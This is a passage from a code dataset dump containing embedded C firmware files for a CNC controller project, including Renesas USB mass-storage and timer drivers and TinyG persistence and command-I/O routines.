File\n******************************************************************************/\n\n" }, { "alpha_fraction": 0.4530804753303528, "alphanum_fraction": 0.4930936098098755, "avg_line_length": 30.455171585083008, "blob_id": "510f3f465b0da0e04f7fd8aab4ec6508c4406a9a", "content_id": "012aced3432936fad3f0a74de07db50622a983fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9122, "license_type": "no_license", "max_line_length": 120, "num_lines": 290, "path": "/r_usb_hmsc/src/inc/r_usb_hatapi_define.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hatapi_define.h\n* Description : USB common extern header\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n***********************************************************************************************************************/\n\n#ifndef __R_USB_CATAPI_DEFINE_H__\n#define __R_USB_CATAPI_DEFINE_H__\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n/* prevent allow key */\n#define USB_MEDIA_UNLOCK 0u /* Media unlock */\n#define USB_MEDIA_LOCK 1u /* Media Lock */\n\n/* Peripheral Device Type (InquiryRequest) */\n#define USB_PDT_DIRECT 0x00u\n#define USB_PDT_SEQUENTIAL 0x01u\n#define USB_PDT_WRITEONCE 0x04u\n#define USB_PDT_CDROM 0x05u\n#define USB_PDT_OPTICAL 0x07u\n#define USB_PDT_UNKNOWN 0x1Fu\n\n/* max Partiton */\n#define USB_MAXUNITNUM 4u\n#define USB_BOOTPARTNUM 4u\n\n/* Partision check */\n#define USB_PBR_ADDR 0x01u\n#define USB_MBR_ADDR 0x02u\n#define USB_EMBR_ADDR 0x03u\n#define USB_BOOT_ERROR 0x05u\n#define USB_BOOTRECORD_SIG 0xAA55u\n#define USB_STARTDISK 0x80u\n#define USB_NOTSTARTDISK 0x00u\n#define USB_NOPCODE 0x90u\n#define USB_JMPCODE1 0xEBu\n#define USB_JMPCODE2 0xE9u\n\n/* Partition type */\n#define USB_PT_NONE 0x00u\n#define USB_PT_FAT12A 0x01u\n#define USB_PT_FAT16A 0x04u\n#define USB_PT_EPRTA 0x05u\n#define USB_PT_FAT16B 0x06u\n#define USB_PT_FAT32A 0x0Bu\n#define USB_PT_FAT32X 0x0Cu\n#define USB_PT_FAT16X 0x0Eu\n#define USB_PT_EPRTB 0x0Fu\n#define USB_PT_EPRTC 0x85u\n\n#define USB_PT_FAT12 0x01u\n#define USB_PT_FAT16 0x04u\n#define USB_PT_FAT32 0x0Bu\n#define USB_PT_EPRT 0x05u\n\n/* FAT TYPE */\n#define USB_PMSC_FATTYPE_12_PP 1\n#define USB_PMSC_FATTYPE_16_PP 2\n\n#define USB_PMSC_FATTYPE_PP USB_PMSC_FATTYPE_12_PP\n//#define USB_PMSC_FATTYPE_PP USB_PMSC_FATTYPE_16_PP\n\n/*****************************************************************************\nTypedef definitions\n******************************************************************************/\n/* MBR */\ntypedef struct\n{\n uint8_t JMPcode;\n uint8_t JMPaddr;\n uint8_t NOPcode;\n uint8_t BSRcode[443];\n uint8_t PartitionTable[64];\n uint8_t Signature[2];\n} USB_MBR_t;\n\n/* PTBL */\ntypedef struct\n{\n uint8_t ActiveFlag;\n uint8_t StartHead;\n uint8_t StartCS[2];\n uint8_t PartitionType;\n uint8_t StopHead;\n uint8_t StopCS[2];\n uint8_t StartSectorNum[4];\n uint8_t PartitionSect[4];\n} USB_PTBL_t;\n\n/* PBR */\ntypedef struct\n{\n uint8_t JMPcode;\n uint8_t JMPaddr;\n uint8_t NOPcode;\n uint8_t Name[8];\n uint8_t SectorSize[2];\n uint8_t ClusterSize;\n uint8_t ReservedSector[2];\n uint8_t FatCount;\n uint8_t RootDirTop[2];\n uint8_t TotalSector0[2];\n uint8_t DfsMediaType;\n uint8_t FATSector[2];\n uint8_t TrackSector[2];\n uint8_t CylinderSector[2];\n uint8_t OffsetSector[4];\n uint8_t TotalSector1[4];\n uint8_t FATSigData[474];\n uint8_t Signature[2];\n} USB_PBR_t;\n\n/* FAT12 */\ntypedef struct\n{\n uint8_t DriveNum;\n uint8_t Reserve;\n uint8_t BootSig;\n uint8_t VolSirial[4];\n uint8_t VolLabel[11];\n uint8_t FileSystemType[8];\n} USB_FAT1216_t;\n\n/* FAT32 */\ntypedef struct\n{\n uint8_t FATSector[4];\n uint8_t ExtendedFlag[2];\n uint8_t FileSystemVer[2];\n uint8_t RootDirCluster[4];\n uint8_t FSinfoSector[2];\n uint8_t BackupBootSector[2];\n uint8_t Reserve12[12];\n uint8_t DriveNum;\n uint8_t Reserve;\n uint8_t BootSig;\n uint8_t VolSirial[4];\n uint8_t VolLabel[11];\n uint8_t FileSystemType[8];\n} USB_FAT32_t;\n\n\n/* Callback Message format define. */\ntypedef struct\n{\n uint32_t ar_rst;\n uint32_t ul_size;\n}\nUSB_PMSC_CBM_t;\n\n/******************************************************************************\nBit Order Definition \"LEFT\"\n******************************************************************************/\n#pragma bit_order left\n\n/* Command Descriptor Block format define. */\ntypedef union\n{\n struct\n {\n uint8_t uc_OpCode;\n struct\n {\n uint8_t b_LUN:3;\n uint8_t b_reserved:5;\n }\n s_LUN;\n uint8_t uc_data;\n }\n s_usb_ptn0;\n struct\n {\n uint8_t uc_OpCode;\n struct\n {\n uint8_t b_LUN:3;\n uint8_t b_reserved4:4;\n uint8_t b_immed:1;\n }\n s_LUN;\n uint8_t uc_rsv2[2];\n uint8_t uc_Allocation;\n uint8_t uc_rsv1[1];\n uint8_t uc_rsv6[6];\n }\n s_usb_ptn12;\n struct\n {\n uint8_t uc_OpCode;\n struct\n {\n uint8_t b_LUN:3;\n uint8_t b_FmtData:1;\n uint8_t b_CmpList:1;\n uint8_t b_Defect:3;\n }\n s_LUN;\n uint8_t ul_LBA0;\n uint8_t ul_LBA1;\n uint8_t ul_LBA2;\n uint8_t ul_LBA3;\n uint8_t uc_rsv6[6];\n }\n s_usb_ptn378;\n struct\n {\n uint8_t uc_OpCode;\n struct\n {\n uint8_t b_LUN:3;\n uint8_t b_1:1;\n uint8_t b_reserved2:2;\n uint8_t b_ByteChk:1;\n uint8_t b_SP:1;\n }\n s_LUN;\n /* Logical block */\n uint8_t ul_LogicalBlock0;\n uint8_t ul_LogicalBlock1;\n uint8_t ul_LogicalBlock2;\n uint8_t ul_LogicalBlock3;\n uint8_t uc_rsv1[1];\n uint8_t us_Length_Hi;\n uint8_t us_Length_Lo;\n uint8_t uc_rsv3[3];\n }\n s_usb_ptn4569;\n}\nUSB_PMSC_CDB_t;\n\n/******************************************************************************\nBit Order Definition default\n******************************************************************************/\n#pragma bit_order\n\n\n/*****************************************************************************\nEnum definitions\n******************************************************************************/\nenum usb_gpmsc_AtapiResult\n{\n USB_ATAPI_SUCCESS = 0x11,\n /* Command receive events */\n USB_ATAPI_NO_DATA = 0x21,\n USB_ATAPI_A_SND_DATA = 0x22,\n USB_ATAPI_A_RCV_DATA = 0x23,\n USB_ATAPI_SND_DATAS = 0x24,\n USB_ATAPI_RCV_DATAS = 0x25,\n USB_ATAPI_NOT_SUPPORT = 0x26,\n /* Complete events */\n USB_ATAPI_CMD_CONTINUE = 0x31,\n USB_ATAPI_CMD_COMPLETE = 0x32,\n USB_ATAPI_CMD_FAILED = 0x33,\n /* ATAPI Start events */\n USB_ATAPI_READY = 0x41,\n // respond error\n USB_ATAPI_ERROR = 0x51,\n /*** ERR CODE ***/\n USB_ATAPI_ERR_CODE_SEPARATER = 0x100,\n USB_ATAPI_ERR_INVAL = 0x61\n};\n\n\n#endif /* __R_USB_CATAPI_DEFINE_H__ */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6076499223709106, "alphanum_fraction": 0.6096542477607727, "avg_line_length": 34.630950927734375, "blob_id": "d37746e38f86955643c83fd6524e316987bb5cd0", "content_id": "b40d011b9b1dfb6e4938cb0eec11ab1a8007d0af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5987, "license_type": "no_license", "max_line_length": 105, "num_lines": 168, "path": "/src/cnc/persistence.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * persistence.c - persistence functions\n * This file is part of the TinyG project\n *\n * Copyright (c) 2013 - 2015 Alden S. Hart Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n#include \"tinyg.h\"\n#include \"persistence.h\"\n#include \"report.h\"\n#include \"canonical_machine.h\"\n#include \"util.h\"\n\n#ifdef __AVR\n#include \"xmega/xmega_eeprom.h\"\n#endif\n\n#ifdef __RX\n#include \"platform.h\"\n#endif\n\n/***********************************************************************************\n **** STRUCTURE ALLOCATIONS ********************************************************\n ***********************************************************************************/\n\nnvmSingleton_t nvm;\n\n/***********************************************************************************\n **** GENERIC STATIC FUNCTIONS AND VARIABLES ***************************************\n ***********************************************************************************/\n\n\n/***********************************************************************************\n **** CODE *************************************************************************\n ***********************************************************************************/\n\nvoid persistence_init()\n{\n#ifdef __AVR\n\tnvm.base_addr = NVM_BASE_ADDR;\n\tnvm.profile_base = 0;\n#endif\n\treturn;\n}\n\n/************************************************************************************\n * read_persistent_value()\t- return value (as float) by index\n * write_persistent_value() - write to NVM by index, but only if the value has changed\n *\n *\tIt's the responsibility of the caller to make sure the index does not exceed range\n */\n\n#ifdef __AVR\nstat_t read_persistent_value(nvObj_t *nv)\n{\n\tnvm.address = nvm.profile_base + (nv->index * NVM_VALUE_LEN);\n\t(void)EEPROM_ReadBytes(nvm.address, nvm.byte_array, NVM_VALUE_LEN);\n\tmemcpy(&nv->value, &nvm.byte_array, NVM_VALUE_LEN);\n\treturn (STAT_OK);\n}\n#endif // __AVR\n\n#ifdef __ARM\nstat_t read_persistent_value(nvObj_t *nv)\n{\n\tnv->value = 0;\n\treturn (STAT_OK);\n}\n#endif // __ARM\n\n#ifdef __RX\nstat_t read_persistent_value(nvObj_t *nv)\n{\n\n\tnvm.address = nvm.profile_base + (nv->index * NVM_VALUE_LEN);\n\t//(void)EEPROM_ReadBytes(nvm.address, nvm.byte_array, NVM_VALUE_LEN);\n\tmemcpy(&nv->value, &nvm.byte_array, NVM_VALUE_LEN);\n\treturn (STAT_OK);\n\n}\n#endif // __ARM\n\n#ifdef __AVR\nstat_t write_persistent_value(nvObj_t *nv)\n{\n\tif (cm.cycle_state != CYCLE_OFF)\n return(rpt_exception(STAT_FILE_NOT_OPEN));\t// can't write when machine is moving\n\n/* not needed\n\tif (nv->valuetype == TYPE_FLOAT) {\n\t\tif (isnan((double)nv->value)) return(rpt_exception(STAT_FLOAT_IS_NAN));\t\t// bad floating point value\n\t\tif (isinf((double)nv->value)) return(rpt_exception(STAT_FLOAT_IS_INFINITE));// bad floating point value\n\t}\n*/\n\tnvm.tmp_value = nv->value;\n\tritorno(read_persistent_value(nv));\n\tif ((isnan((double)nv->value)) || (isinf((double)nv->value)) || (fp_NE(nv->value, nvm.tmp_value))) {\n\t\tmemcpy(&nvm.byte_array, &nvm.tmp_value, NVM_VALUE_LEN);\n\t\tnvm.address = nvm.profile_base + (nv->index * NVM_VALUE_LEN);\n\t\t(void)EEPROM_WriteBytes(nvm.address, nvm.byte_array, NVM_VALUE_LEN);\n\t}\n\tnv->value =nvm.tmp_value;\t\t// always restore value\n\treturn (STAT_OK);\n}\n#endif // __AVR\n\n#ifdef __ARM\nstat_t write_persistent_value(nvObj_t *nv)\n{\n\tif (cm.cycle_state != CYCLE_OFF)\n return(rpt_exception(STAT_FILE_NOT_OPEN));\t// can't write when machine is moving\n\n/* not needed\n\tif (nv->valuetype == TYPE_FLOAT) {\n\t\tif (isnan((double)nv->value)) return(rpt_exception(STAT_FLOAT_IS_NAN));\t\t// bad floating point value\n\t\tif (isinf((double)nv->value)) return(rpt_exception(STAT_FLOAT_IS_INFINITE));// bad floating point value\n\t}\n*/\n\treturn (STAT_OK);\n}\n#endif // __ARM\n\n#ifdef __RX\nstat_t write_persistent_value(nvObj_t *nv)\n{\n\tif (cm.cycle_state != CYCLE_OFF)\n return(rpt_exception(STAT_FILE_NOT_OPEN));\t// can't write when machine is moving\n\n/* not needed\n\tif (nv->valuetype == TYPE_FLOAT) {\n\t\tif (isnan((double)nv->value)) return(rpt_exception(STAT_FLOAT_IS_NAN));\t\t// bad floating point value\n\t\tif (isinf((double)nv->value)) return(rpt_exception(STAT_FLOAT_IS_INFINITE));// bad floating point value\n\t}\n*/\n\tnvm.tmp_value = nv->value;\n\tritorno(read_persistent_value(nv));\n\tif ((isnan((double)nv->value)) || (isinf((double)nv->value)) || (fp_NE(nv->value, nvm.tmp_value))) {\n\t\tmemcpy(&nvm.byte_array, &nvm.tmp_value, NVM_VALUE_LEN);\n\t\tnvm.address = nvm.profile_base + (nv->index * NVM_VALUE_LEN);\n\t//\t(void)EEPROM_WriteBytes(nvm.address, nvm.byte_array, NVM_VALUE_LEN);\n\t}\n\tnv->value =nvm.tmp_value;\t\t// always restore value\n\treturn (STAT_OK);\n}\n#endif // __ARM\n\n#ifdef __cplusplus\n}\n#endif\n\n" }, { "alpha_fraction": 0.5995358228683472, "alphanum_fraction": 0.6041774153709412, "avg_line_length": 27.306570053100586, "blob_id": "9d1ec87261e863fb3a19153f4f481eca083b912b", "content_id": "c30fb755a967837d8b82aff5386af50cb0907ee9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3878, "license_type": "no_license", "max_line_length": 91, "num_lines": 137, "path": "/src/cnc/xio/xio_Command.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * xio_file.c\t- device driver for program memory \"files\"\n * \t\t\t\t- works with avr-gcc stdio library\n *\n * Part of TinyG project\n *\n * Copyright (c) 2011 - 2015 Alden S. Hart Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n\n#include <stdio.h>\t\t\t\t// precursor for xio.h\n#include <stdbool.h>\t\t\t// true and false\n#include <string.h>\t\t\t\t// for memset\n#include <stdint.h>\t\t\t\t//\n//#include \"platform.h\"\n#include \"xio.h\"\n#include \"ut_state.h\"\n\n\n/******************************************************************************\n * FILE CONFIGURATION RECORDS\n ******************************************************************************/\n\nxioCommand_t\t command[XIO_DEV_COMMAND_COUNT];\n\nstruct cfgFILE {\n\tx_open_t x_open;\t\t\t// see xio.h for typedefs\n\tx_ctrl_t x_ctrl;\n\tx_close_t x_close;\n\tx_gets_t x_gets;\n\tx_getc_t x_getc;\n\tx_putc_t x_putc;\n\tx_flow_t x_flow;\n};\n\nstatic struct cfgFILE const cfgFile[] = {\n{\t// PGM config\n\txio_open_command,\t\t\t\t// open function\n\txio_ctrl_generic, \t\t\t// ctrl function\n\txio_close_command, \t\t\t// close function\n\txio_gets_command,\t\t\t\t// get string function\n\txio_getc_command,\t\t\t\t// stdio getc function\n\txio_putc_command,\t\t\t\t// stdio putc function\n\txio_fc_null,\t\t\t\t// flow control callback\n}\n};\n/******************************************************************************\n * FUNCTIONS\n ******************************************************************************/\n\n/*\n *\txio_init_file() - initialize and set controls for file IO\n *\n *\tNeed to bind the open function or a subsequent opens will fail\n */\n\nvoid xio_init_command()\n{\n\tfor (uint8_t i=0; i<XIO_DEV_COMMAND_COUNT; i++) {\n\t\txio_open_generic(XIO_DEV_COMMAND_OFFSET + i,\n\t\t\t\t\t\t(x_open_t)(cfgFile[i].x_open),\n\t\t\t\t\t\t(x_ctrl_t)(cfgFile[i].x_ctrl),\n\t\t\t\t\t\t(x_close_t)(cfgFile[i].x_close),\n\t\t\t\t\t\t(x_gets_t)(cfgFile[i].x_gets),\n\t\t\t\t\t\t(x_getc_t)(cfgFile[i].x_getc),\n\t\t\t\t\t\t(x_putc_t)(cfgFile[i].x_putc),\n\t\t\t\t\t\t(x_flow_t)(cfgFile[i].x_flow));\n\t}\n}\n\n/*\n *\txio_open_file() - open the program memory device to a specific string address\n *\n *\tOK, so this is not really a UNIX open() except for its moral equivalent\n * Returns a pointer to the stdio FILE struct or -1 on error\n */\nFILE * xio_open_command(const uint8_t dev, const char *addr, const flags_t flags)\n{\n\txioDev_t *d = (xioDev_t *)&ds[dev];\n\td->x = &command[dev - XIO_DEV_COMMAND_OFFSET];\t\t\t// bind extended struct to device\n\txioCommand_t *dx = (xioCommand_t *)d->x;\n\tdx->filebase_P = addr;\n\n\treturn(&d->file);\t\t\t\t\t\t\t\t// return pointer to the FILE stream\n}\n\nint xio_gets_command(xioDev_t *d, char *buf, const int size)\n{\n\txioCommand_t *dx = (xioCommand_t *)d->x;\n\tconst char *buffin = dx->filebase_P ;\n\n\tif (buffin == NULL)\n\t{\n\t\treturn(XIO_EAGAIN);\n\t}\n\n\twhile ( *buffin != '\\n')\n\t{\n\t\t*buf++ = *buffin++;\n\t\tif(*buffin == '\\0')\n\t\t{\n\t\t\tdx->filebase_P = NULL;\n\t\t\treturn(XIO_OK);\n\t\t}\n\t}\n\t*buf++ = '\\n';\n\tdx->filebase_P = ++buffin;\n\t*buf = '\\0';\n\treturn(XIO_OK);\n}\n\nvoid xio_close_command (xioDev_t *d)\n{\n\n}\n\nint xio_getc_command(FILE *stream)\n{\n\treturn(0);\n}\n\nint xio_putc_command(const char c, FILE *stream)\n{\n\treturn(-1);\n}\n" }, { "alpha_fraction": 0.46911609172821045, "alphanum_fraction": 0.4915468692779541, "avg_line_length": 39.27345657348633, "blob_id": "77cd55b6c8be600cbb5f883f58a892793ee1f3a4", "content_id": "e9f4770c702fec4325c49bc690a353eeb8d9c97c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 15024, "license_type": "no_license", "max_line_length": 120, "num_lines": 373, "path": "/r_tmr_rx/src/r_tmr_rx.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013, 2014 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_cmt_rx.c\n* Description : This module creates timer ticks using CMT channels or one-shot events based on period in uS. \n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 06.11.2013 2.10 First GSCE Release.\n* : 11.03.2014 2.20 Added support for RX110.\n* Fixes bug in R_CMT_Control CMT_RX_CMD_GET_NUM_CHANNELS command.\n* : 22.04.2014 2.30 Added support for RX64M.\n* : 10.11.2014 2.40 Added support for RX113M.\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n#include \"platform.h\"\n/* Configuration for this package. */\n//#include \"r_tmr_rx_config.h\"\n/* Header file for this package. */\n#include \"r_tmr_rx_if.h\"\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n#define TMR_RX_NUM_CHANNELS 4\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\n\ntypedef enum{\n\tTMR_PERIODIC = 0,\n\tTMR_ONESHOOT\n}tmr_behavior_t;\n\n/***********************************************************************************************************************\nPrivate global variables and functions\n***********************************************************************************************************************/\nstatic uint8_t g_tmrbehavior[TMR_RX_NUM_CHANNELS] = {TMR_PERIODIC,TMR_PERIODIC,TMR_PERIODIC,TMR_PERIODIC};\n\nstatic void power_on(tmr_ch_t channel);\nstatic void power_off(tmr_ch_t channel);\nstatic bool create(uint8_t period_us, void (* callback)(void * pdata), tmr_ch_t channel,tmr_behavior_t behavior);\nstatic void (* g_tmr_callbacks[TMR_RX_NUM_CHANNELS])(void * pdata);\n\n/***********************************************************************************************************************\n* Function Name: R_CMT_CreatePeriodic\n* Description : Sets up a CMT channel and calls a callback function at a set frequency.\n* Arguments : frequency_hz -\n* Frequency in Hz of how often to call the callback function.\n* callback -\n* Which function to call when timer expires. If you wish to use R_CMT_Control() to check the status \n* of a channel instead of using a callback then use FIT_NO_FUNC for this parameter.\n* channel -\n* Pointer of where to store which channel was used.\n* Return Value : true - \n* Channel initialized successfully.\n* false -\n* Invalid channel or frequency could not be used.\n***********************************************************************************************************************/\nbool R_TMR_CreatePeriodic(uint32_t frequency_hz, void (* callback)(void * pdata), tmr_ch_t channel)\n{\n\ttmr_behavior_t behavior = TMR_PERIODIC;\n\tuint8_t period_us = (uint8_t)(1000000/frequency_hz);\n\treturn create(period_us, callback, channel, behavior);\n} \n\n/***********************************************************************************************************************\n* Function Name: R_CMT_CreateOneShot\n* Description : Sets up a CMT channel and calls a callback function once after a user-defined amount of time.\n* Arguments : period_us -\n* How long until compare match occurs. Unit is microseconds.\n* callback -\n* Which function to call when timer expires. If you wish to use R_CMT_Control() to check the status \n* of a channel instead of using a callback then use FIT_NO_FUNC for this parameter.\n* channel -\n* Pointer of where to store which channel was used.\n* Return Value : true - \n* Channel initialized successfully.\n* false -\n* Invalid channel or period could not be used.\n***********************************************************************************************************************/\nbool R_TMR_CreateOneShot(uint8_t period_us, void (* callback)(void * pdata), tmr_ch_t channel)\n{\n\ttmr_behavior_t behavior = TMR_ONESHOOT;\n\treturn create(period_us, callback, channel, behavior);\n}\n\n/***********************************************************************************************************************\n* Function Name: R_CMT_Stop\n* Description : Stop a counter and puts it in module stop state to conserve power.\n* Arguments : channel - \n* Which channel to use.\n* Return Value : true - \n* Counter stopped.\n* false -\n* Could not obtain lock to control CMT. Try again later. \n***********************************************************************************************************************/\nbool R_TMR_Stop (tmr_ch_t channel)\n{\n\tbool res = true;\n\tpower_off(channel);\n\treturn res;\n} \n\n/***********************************************************************************************************************\n* Function Name: R_CMT_Control\n* Description : Handles minor functions of this module.\n* Arguments : channel - \n* Which channel is being referenced. If not channel is needed input CMT_RX_NO_CHANNEL.\n* command -\n* What command is being input.\n* pdata - \n* Pointer to data to be input or filled in if needed.\n* Return Value : true - \n* Command completed successfully.\n* false -\n* Invalid command. \n***********************************************************************************************************************/\nbool R_TMR_Control(tmr_ch_t channel, tmr_commands_t command, void * pdata)\n{\n\tswitch(command)\n\t{\n\tcase TMR_START:\n\t\tswitch(channel)\n\t\t{\n\t\tcase TMR_CH0:\n\t\t\tTMR0.TCR.BYTE = 0x48;\n\t\t\tTMR0.TCNT = 0;\n\t\t\tbreak;\n\t\tcase TMR_CH1:\n\t\t\tTMR1.TCR.BYTE = 0x48;\n\t\t\tTMR1.TCNT = 0;\n\t\t\tbreak;\n\t\tcase TMR_CH2:\n\t\t\tTMR2.TCR.BYTE = 0x48;\n\t\t\tTMR2.TCNT = 0;\n\t\t\tbreak;\n\t\tcase TMR_CH3:\n\t\t\tTMR3.TCR.BYTE = 0x48;\n\t\t\tTMR3.TCNT = 0;\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tcase TMR_CLEAR:\n\t\tswitch(channel)\n\t\t{\n\t\tcase TMR_CH0:\n\t\t\tTMR0.TCR.BYTE = 0x08;\n\t\t\tTMR0.TCNT = 0;\n\t\t\tbreak;\n\t\tcase TMR_CH1:\n\t\t\tTMR1.TCR.BYTE = 0x08;\n\t\t\tTMR1.TCNT = 0;\n\t\t\tbreak;\n\t\tcase TMR_CH2:\n\t\t\tTMR2.TCR.BYTE = 0x08;\n\t\t\tTMR2.TCNT = 0;\n\t\t\tbreak;\n\t\tcase TMR_CH3:\n\t\t\tTMR3.TCR.BYTE = 0x08;\n\t\t\tTMR3.TCNT = 0;\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn true;\n} \n\nstatic bool create(uint8_t period_us, void (* callback)(void * pdata), tmr_ch_t channel,tmr_behavior_t behavior)\n{\n\tbool res = true;\n\tswitch(channel)\n\t{\n\tcase TMR_CH0:\n\t\tpower_on(channel);\n\t\tTMR0.TCSR.BYTE = 0x00;\n\t\tTMR0.TCCR.BYTE = 0x89;\n\t\tTMR0.TCR.BYTE = 0x08;\n\t\tTMR0.TCORA = 24*period_us;\n\t\tg_tmr_callbacks[channel] = callback;\n\t\tg_tmrbehavior[channel] = behavior;\n\t\tbreak;\n\tcase TMR_CH1:\n\t\tpower_on(channel);\n\t\tTMR1.TCSR.BYTE = 0x00;\n\t\tTMR1.TCCR.BYTE = 0x89;\n\t\tTMR1.TCR.BYTE = 0x08;\n\t\tTMR1.TCORA = 24*period_us;\n\t\tg_tmr_callbacks[channel] = callback;\n\t\tg_tmrbehavior[channel] = behavior;\n\t\tbreak;\n\tcase TMR_CH2:\n\t\tpower_on(channel);\n\t\tTMR2.TCSR.BYTE = 0x00;\n\t\tTMR2.TCCR.BYTE = 0x89;\n\t\tTMR2.TCR.BYTE = 0x08;\n\t\tTMR2.TCORA = 24*period_us;\n\t\tg_tmr_callbacks[channel] = callback;\n\t\tg_tmrbehavior[channel] = behavior;\n\t\tbreak;\n\tcase TMR_CH3:\n\t\tpower_on(channel);\n\t\tTMR3.TCSR.BYTE = 0x00;\n\t\tTMR3.TCCR.BYTE = 0x89;\n\t\tTMR3.TCR.BYTE = 0x08;\n\t\tTMR3.TCORA = 24*period_us;\n\t\tg_tmr_callbacks[channel] = callback;\n\t\tg_tmrbehavior[channel] = 